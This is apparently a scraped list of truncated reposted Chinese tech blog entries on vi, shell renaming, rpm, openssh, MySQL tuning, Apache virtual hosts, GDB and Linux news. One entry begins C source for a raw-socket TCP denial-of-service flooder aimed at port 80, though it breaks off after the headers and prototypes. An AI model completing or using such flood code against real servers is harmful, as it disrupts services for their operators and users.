vi学习体系(转)
vi学习体系(转)[@more@]vi有三种模式:编辑,插入,命令,我称为e-mode,i-mode,c-mode,分别对应edit,insert,command。编辑模式中有八类操作:移动,删除;撤销,重复;复制,粘贴;查找,替换。移动:上下左右顶中底,字行首尾前后翻。kihl,HML,bwe,0^$,^f,^b.删除:删右,删左,删行字。dw,db,dd x.撤销,重复:U,.。复制,粘贴,查找,替换:yy,pP,/,?,r.从编辑到插入的切换命令有:左右下,首尾上。(i,a,o,I,A,O)切左切右切首尾。(cw,cb,cd,c0,c$)->(cwbd0$)c-mode的元命令有::q,:w,:n,:d,:r,:e,:f,:s,:!cmd
在Linux 用SHLL 来替换在相同目录下的文件后缀名(转)
在Linux 用SHLL 来替换在相同目录下的文件后缀名(转)[@more@]转于:http://blog.chinaunix.net/u/8649/showart_188014.html有一次我要在一个目录下替换文件后缀名,比如 .TXT 替换为 .txt 由于有几千个文件, 手工修改是行不通的, 于是用了很多方法都不行, 最后用SHLL 解决了, 在此与大家分享一下下!呵呵!for BaseFileName in `ls *.TXT |awk '{print substr($BaseFileName,0,index($BaseFileName,".")-1)}'`domv $BaseFileName.TXT $BaseFileName.txtdone
rpm命令详解(转)
rpm命令详解(转)[@more@] 一、安装 命令格式: rpm -i ( or --install) options file1.rpm ... fileN.rpm 参数: file1.rpm ... fileN.rpm 将要安装的RPM包的文件名 详细选项: -h (or --hash) 安装时输出hash记号 (``#’’) --test 只对安装进行测试,并不实际安装。 --percent 以百分比的形式输出安装的进度。 --excludedocs 不安装软件包中的文档文件 --includedocs 安装文档 --replacepkgs 强制重新安装已经安装的软件包 --repl
在Ubuntu上安装openssh(转)
在Ubuntu上安装openssh(转)[@more@]下载openssh二进制包: http://mirror.mcs.anl.gov/openssh/portable下载后su到root用户 tar xfvz openssh-4.4p1.tar.gz解压然后 cd openssh-4.4p1configuremakemake intall在安装过程中会出现两个错误,是缺少一些必要的文件。错误1: error: *** zlib missing - please install first or check config.log ***解决办法: apt-get install libz-dev错误2:error: *** Can't find recent OpenSSL libcrypto (see config.log for details) ***执行: apt-cache search openssl | grep dev 查找到要安装的
非常好的MySQL优化(转)
非常好的MySQL优化(转)[@more@]一、我们可以且应该优化什么? 硬件 操作系统/软件库 SQL服务器(设置和查询) 应用编程接口(API) 应用程序 -------------------------------------------------------------------------------- 二、优化硬件 如果你需要庞大的数据库表(>2G),你应该考虑使用64位的硬件结构,像Alpha、Sparc或即将推出的IA64。因为MySQL内部使用大量64位的整数,64位的CPU将提供更好的性能。 对大数据库,优化的次序一般是RAM、快速硬盘、CPU能力。 更多的内存通过将最常用的键码页面存放在内存中可以加速键码的更新。 如果
提高MySQL 数据库性能的思路(转)
提高MySQL 数据库性能的思路(转)[@more@] 本文探讨了提高MySQL 数据库性能的思路,并从8个方面给出了具体的解决方法。 1、选取最适用的字段属性 MySQL可以很好的支持大数据量的存取,但是一般说来,数据库中的表越小,在它上面执行的查询也就会越快。因此,在创建表的时候,为了获得更好的性能,我们可以将表中字段的宽度设得尽可能小。例如,在定义邮政编码这个字段时,如果将其设置为CHAR(255),显然给数据库增加了不必要的空间,甚至使用VARCHAR这种类型也是多余的,因为CHAR(6)就可以很好的完成任务了。同样的,如果可以的话
Apache 配置各种虚拟主机实践(转)
Apache 配置各种虚拟主机实践(转)[@more@]1.实践环境:Red Hat Enterprise Linux AS release 4 (Nahant Update 3)Server version: Apache/1.3.34 (Unix)Server built: Sep 26 2006 15:06:282.基于域名方式的虚拟主机:vi httpd.conf…………BindAddress *指示用所有地址都可以监听虚拟主机的请求NameVirtualHost *:80使用基于域名方式的虚拟主机ServerName mail.ok.comDocumentRoot /var/www/htmlScriptAlias /cgi-bin/ "/opt/apache/cgi-bin/"ServerName mail.test.comDocumentRoot /opt/apache/htmlScriptAlias /cgi-bin/ "/opt/apache/
MySQL的加密函数(转)
MySQL的加密函数(转)[@more@]PASSWORD():创建一个经过加密的密码字符串,适合于插入到MySQL的安全系统。该加密过程不可逆,和unix密码加密过程使用不同的算法。主要用于MySQL的认证系统。ENCRYPT(,):使用UNIX crypt()系统加密字符串,ENCRYPT()函数接收要加密的字符串和(可选的)用于加密过程的salt(一个可以唯一确定口令的字符串,就像钥匙一样),注意,windows上不支持ENCODE(,) DECODE(,):加密解密字符串。该函数有两个参数:被加密或解密的字符串和作为加密或解密基础的密钥。Encode结果是一个二进制字符串,以BLOB类型存储。加
linux下c编程中的DOS攻击程序(转)
linux下c编程中的DOS攻击程序(转)[@more@] CODE: /******************** DOS.c *****************/#include <sys/socket.h>#include <netinet/in.h>#include <netinet/ip.h>#include <netinet/tcp.h>#include <stdlib.h>#include <errno.h>#include <unistd.h>#include <stdio.h>#include <netdb.h>#define DESTPORT 80 #define LOCALPORT 8888void send_tcp(int sockfd,struct sockaddr_in *addr);unsigned short check_sum(unsigned short *addr,int len);int main(
mysql事务处理(转)
mysql事务处理(转)[@more@]缺省的,MySQL 运行在 autocommit 模式。这就意味着,当你执行完一个更新时,MySQL 将立刻将更新存储到磁盘上。 如果你使用事务安全表 (例如 InnoDB、BDB),通过下面的命令,你可以设置 MySQL 为非 autocommit 模式: SET AUTOCOMMIT=0在此之后,你必须使用 COMMIT 来存储你的更改到磁盘上,或者使用 ROLLBACK ,如果你希望忽略从你的事务开始所做的更改。 如果你希望为一系列语句从 AUTOCOMMIT 模式转换,你可以使用 START TRANSACTION 或 BEGIN 或 BEGIN WORK 语句: START TRANSACTION;SELECT @A:=SUM(salary
GDB的使用(转)
GDB的使用(转)[@more@]要使用GDB进行调试,编译程序时要指定-g或-ggdb的编译选项。如:gcc –g main.cgcc –ggdb main.c这样,gcc就会在生成可执行文件时产生调试讯息。-g用于产生一般的调试讯息,-ggdb则用于产生GDB特有的调试讯息。--------------------------------------------------------------------------------GDB的基本指令:f(ile):指定一个可执行文件进行调试,gdb将读取些文件的调试讯息,如f a.exel(ist):列程序出源文件r(un) :装载完要调试的可执行文件后,可以用run命令运行可执行文件b(reak):设置断点(break point)
Linux世界这一周,有喜有忧(转)
Linux世界这一周,有喜有忧(转)[@more@]喜的是有这么几个好消息: Adobe发布了Flash播放器9Linux版本的β测试版,与此同时还表示,未来还将推出64位版本的Flash。最终版本的Linux Flash9软件将会在明年推出。在公司网站上,Adobe表示最终版本的Linux Flash将支持和Windows以及Mac版本同样的功能。据悉,此次发布的β测试版中,绝大部分功能已经得以实现,例如全屏模式、安全插座层SSL加密技术等。 [indent]——在开源大潮中,Linux获得的支持越来越多了,怎能不叫人开心?[/indent] 自由标准组织(FSG)今天宣布它将与O'Reilly
MySQL怎样优化WHERE子句(转)
MySQL怎样优化WHERE子句(转)[@more@]where优化主要是在SELECT中,因为他们最主要是在那里使用,但是同样的优化也可被用于DELETE和UPDATE语句。 但请注意,下面的优化并不是完全的。MYSQL实施了许多优化,但我没时间全部测试. MySQL的一些优化列在下面: 删除不必要的括号: ((a AND b) AND c OR (((a AND b) AND (c AND d)))) -> (a AND b AND c) OR (a AND b AND c AND d) 常数调入: (a-> b>5 AND b=c AND a=5 删除常数条件: (B>=5 AND B=5) OR (B=6 AND 5=5) OR (B=7 AND 5=6) -> B=5 OR B=6 索引使用的常数表达式仅计算
Linux通用系统优化(转)
Linux通用系统优化(转)[@more@]针对系统的优化工作需要根据不同的系统采用不同的办法。本文旨在描述通用的优化 Linux 的一些办法。 一、编译选项“etc/profile”文件含有系统大量的环境和启动程序的配置信息。你在该文件中进行的配置,可以通过申请全局环境变量来实现。因此,在该文件中设置优化标志,是一种明智的选择。要想使x86程序获得最佳性能,可以在编译时,使用最佳的优化选项-O9 。许多程序的“Makefile”文件中已经含有-O2选项,而-O9使编译器采用最高级别的优化。尽管它将增加最终程序的大小,但这样可以获得更高的运行速度。编
解决不能通过mysql.sock连接MySQL问题的办法(转)
解决不能通过mysql.sock连接MySQL问题的办法(转)[@more@]这个问题主要提示是,不能通过'/tmp/mysql.sock'连到服务器,而php标准配置正是用过'/tmp/mysql.sock',但是一些mysql安装方法将mysql.sock放在/var/lib/mysql.sock或者其他的什么地方,你可以通过修改/etc/my.cnf文件来修正它,打开文件,可以看到如下的东东: [mysqld] socket=/var/lib/mysql.sock 改一下就好了,但也会引起其他的问题,如mysql程序连不上了,再加一点: [mysql] socket=/tmp/mysql.sock 或者还可以通过修改php.ini中的配置来使php用其他的mysql.sock来连,这个大
解决MYSQL数据从高版本导入低版本的问题(转)
解决MYSQL数据从高版本导入低版本的问题(转)[@more@] 近日笔者工作中遇到MYSQL数据从高版本导入低版本的问题.这样的问题一般都是高低版本字符集的设置不同.按照以往惯例是把数据用mysqldump命令导出数据后,使用文件编辑器(editplus)修改相应的"DEFAULT CHARSET=gb2312"部分,即可顺利导入低版本的MySQL.但当你遇到大量数据(百万级)时,这种方式就显示得杯水车薪了!那么么办呢?现本人就把自己工作中遇到有关MYSQL数据从高版本导入低版本的解决办法总结一下.方法一:(适用于当导出的数据量不大时)step 1:使用mysqldump命令从源服务器导出成SQL
最新版本Linux Flash 9 Beta开放发布(转)
最新版本Linux Flash 9 Beta开放发布(转)[@more@]作者:上方文Q 来自:驱动之家--> Adobe今天发布了面向Linux系统的Flash 9,不过还只是Beta测试版,具体版本号9.0.21.55。Linux版Flash 9完全兼容旧版Flash创作的内容,分为两个Tarball版本,其一是用于Mozilla的插件,会安装在插件目录中,其二是基于GTK的独立播放器,可单独使用。由于还是测试版,所以难免存在bug,用户可向Adobe Penguin.SWF反应。Release Note在这里。-点击下载Linux Flash 9插件版(GZ、2.48MB)-点击下载Linux Flash 9独立版(GZ、2.38MB)
TerraSoft发表PS3 Linux操作领域(转)
TerraSoft发表PS3 Linux操作领域(转)[@more@] 来源:巴哈姆特 Terra Soft 于 10 月 17 日发表,将推出供 PS3 主机使用的 Yellow Dog Linux v5.0 操作系统,让 PS3 除了基本的游戏、影音与网络功能之外,并进一步延伸出更广泛的应用方式,朝个人计算机的领域发展。 SCE 先前曾于 PS2 上推出 Linux 套件,让使用者可以在配备硬盘的 PS2 上执行 Linux 操作系统,提供开放泛用的作业环境,不过由于该计划仅为试验性质,且受限于各种先天因素,因此并未普及。 继 PS2 之后,SCE 社长 久多良木健 在 2005 年 E3 展的专访中表示,将
mysql rpm 安装问题(转)
mysql rpm 安装问题(转)[@more@]RedHat 下自带的mysql rpm包为mysql-3.23.54a-11.i386.rpm,如果在你安装操作系统时没有安装mysql,后来安装mysql时. shell> rpm -ivh mysql-3.23.54a-11.i386.rpm warning: mysql-3.23.54a-11.i386.rpm: V3 DSA signature: NOKEY, key ID db42a60e error: Failed dependencies: perl-DBD-MySQL is needed by mysql-3.23.54a-11 系统会提示包倚赖关系,在系统盘中找,有perl-DBD-MySQL-2.1021-3.i386.rpm包,安装之. shell> rpm -ivh perl-DBD-MySQL-2.1021-3.i386.rpm .................................
JAVA基础:JSP与Servlet的区别(转)
JAVA基础:JSP与Servlet的区别(转)[@more@] JSP和SERVLET到底在应用上有什么区别,很多人搞不清楚。我来胡扯几句吧。简单的说,SUN首先发展出SERVLET,其功能比较强劲,体系设计也很先进,只是,它输出HTML语句还是采用了老的CGI方式,是一句一句输出,所以,编写和修改HTML非常不方便。后来SUN推出了类似于ASP的镶嵌型的JSP,把JSP TAG镶嵌到HTML语句中,这样,就大大简化和方便了网页的设计和修改。新型的网络语言如ASP,PHP,JSP都是镶嵌型的SCRIPT语言。 从网络三层结构的角度看,一个网络项目最少分三层:data layer,business